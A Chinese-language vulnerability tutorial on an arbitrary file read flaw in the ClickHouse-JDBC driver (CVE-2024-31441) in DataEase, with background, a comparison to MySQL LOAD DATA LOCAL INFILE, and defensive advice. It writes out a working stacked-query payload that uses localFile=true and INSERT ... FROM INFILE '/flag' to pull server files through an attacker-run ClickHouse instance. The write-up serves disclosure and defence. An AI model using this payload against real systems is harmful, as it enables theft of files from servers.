Clickhouse-jdbc 任意文件读取
字数 1606 2025-08-04 08:17:24
ClickHouse-JDBC 任意文件读取漏洞分析与利用教学
漏洞概述
本教学文档详细分析ClickHouse-JDBC驱动中存在的任意文件读取漏洞(CVE-2024-31441),该漏洞允许攻击者通过特制的JDBC连接字符串和SQL语句读取服务器上的任意文件。
背景知识
JDBC机制
- JDBC架构:Java数据库连接(JDBC)是Java语言中用来规范客户端程序访问数据库的应用程序接口
- 类加载机制:DriverManager类由BootStrap类加载器加载,而数据库驱动由厂商编写,使用子类加载器加载
- SPI机制:Service Provider Interface打破了双亲委派机制,允许厂商自定义驱动实现
ClickHouse-JDBC特性
- localFile选项:在0.4.2版本后,ClickHouse官方JDBC插件支持配置
localFile选项 - 文件导入功能:允许在从文件导入表时从客户端文件中读取数据
- 通信协议:与MySQL不同,ClickHouse使用HTTP协议进行客户端-服务端通信
漏洞原理
技术对比
与MySQL的LOAD DATA LOCAL INFILE漏洞对比:
| 特性 | MySQL | ClickHouse |
|---|---|---|
| 通信协议 | 专用协议 | HTTP协议 |
| 文件传输触发方式 | 服务端可随时请求文件传输 | 客户端主动读取文件并发送 |
| 利用条件 | 连接阶段即可触发 | 需要执行SQL语句 |
漏洞触发流程
- 连接配置:在JDBC连接字符串中设置
localFile=true选项 - SQL执行:通过堆叠查询执行包含
FROM INFILE子句的INSERT语句 - 文件读取:客户端读取指定路径文件内容并发送到服务端
漏洞利用
前置条件
- JDBC连接URL可控
- 具有执行SQL语句的功能点
- 使用ClickHouse-JDBC驱动版本≥0.4.2
利用步骤
-
搭建恶意ClickHouse服务:
sudo docker run -d -p 18124:8123 -p19001:9000 clickhouse/clickhouse-server -
配置JDBC连接:
- 添加额外连接参数:
compress=0&localFile=true
- 添加额外连接参数:
-
准备目标表:
CREATE TABLE images(data String) Engine = Memory; -
执行恶意SQL:
SELECT version()); INSERT INTO images FROM INFILE '/flag' FORMAT RawBLOB; -- aaaa -
读取文件内容:
查询images表获取文件内容
实际案例
在DataEase v1.18.18中:
- 上传特定版本ClickHouse驱动
- 配置恶意数据源连接参数
- 创建SQL数据集执行恶意语句
- 成功读取服务器上
/flag文件内容
防御措施
-
输入验证:
- 严格限制JDBC连接字符串中的参数
- 禁用不必要的选项如
localFile
-
权限控制:
- 数据库用户使用最小权限原则
- 限制文件系统访问权限
-
代码审查:
- 检查所有SQL执行点是否允许堆叠查询
- 验证用户输入的SQL语句
-
更新策略:
- 及时更新ClickHouse-JDBC驱动到安全版本
- 监控安全公告获取最新漏洞信息
总结
ClickHouse-JDBC的任意文件读取漏洞展示了JDBC实现中潜在的安全风险,特别是在处理客户端文件操作时。与传统的MySQL LOAD DATA LOCAL漏洞不同,此漏洞需要结合堆叠查询才能利用,但危害性同样严重。开发人员应严格审查数据库连接配置和SQL执行功能,防止此类漏洞被利用。
参考链接
- DataEase安全公告GHSA-h7hj-7wg6-p5wh
- ClickHouse官方文档
- JDBC规范文档